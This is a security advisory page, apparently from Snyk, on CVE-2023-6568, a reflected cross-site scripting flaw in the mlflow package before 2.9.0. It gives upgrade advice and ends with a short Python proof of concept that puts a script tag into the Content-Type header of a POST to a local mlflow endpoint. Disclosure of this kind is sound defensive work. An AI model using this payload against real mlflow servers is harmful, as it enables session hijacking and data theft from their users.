Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affecting mlflow package, versions [,2.9.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published7 Dec 2023
- disclosed7 Dec 2023
- creditMokrane Abdelmalek
Introduced: 7 Dec 2023
CVE-2023-6568 (opens in a new tab)How to fix?
Upgrade mlflow to version 2.9.0 or higher.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). An attacker can inject code into the Content-Type header of a POST request, which is then reflected back to the user without proper sanitization or escaping. This can lead to compromising user sessions, stealing sensitive information, or performing other malicious actions on the user's behalf.
PoC
from requests import post
url = 'http://127.0.0.1:5000/api/2.0/mlflow/users/create'
headers = {
'Content-Type': '<script>alert(document.domain)</script>',
}
resp = post(url, headers=headers).text
print(resp)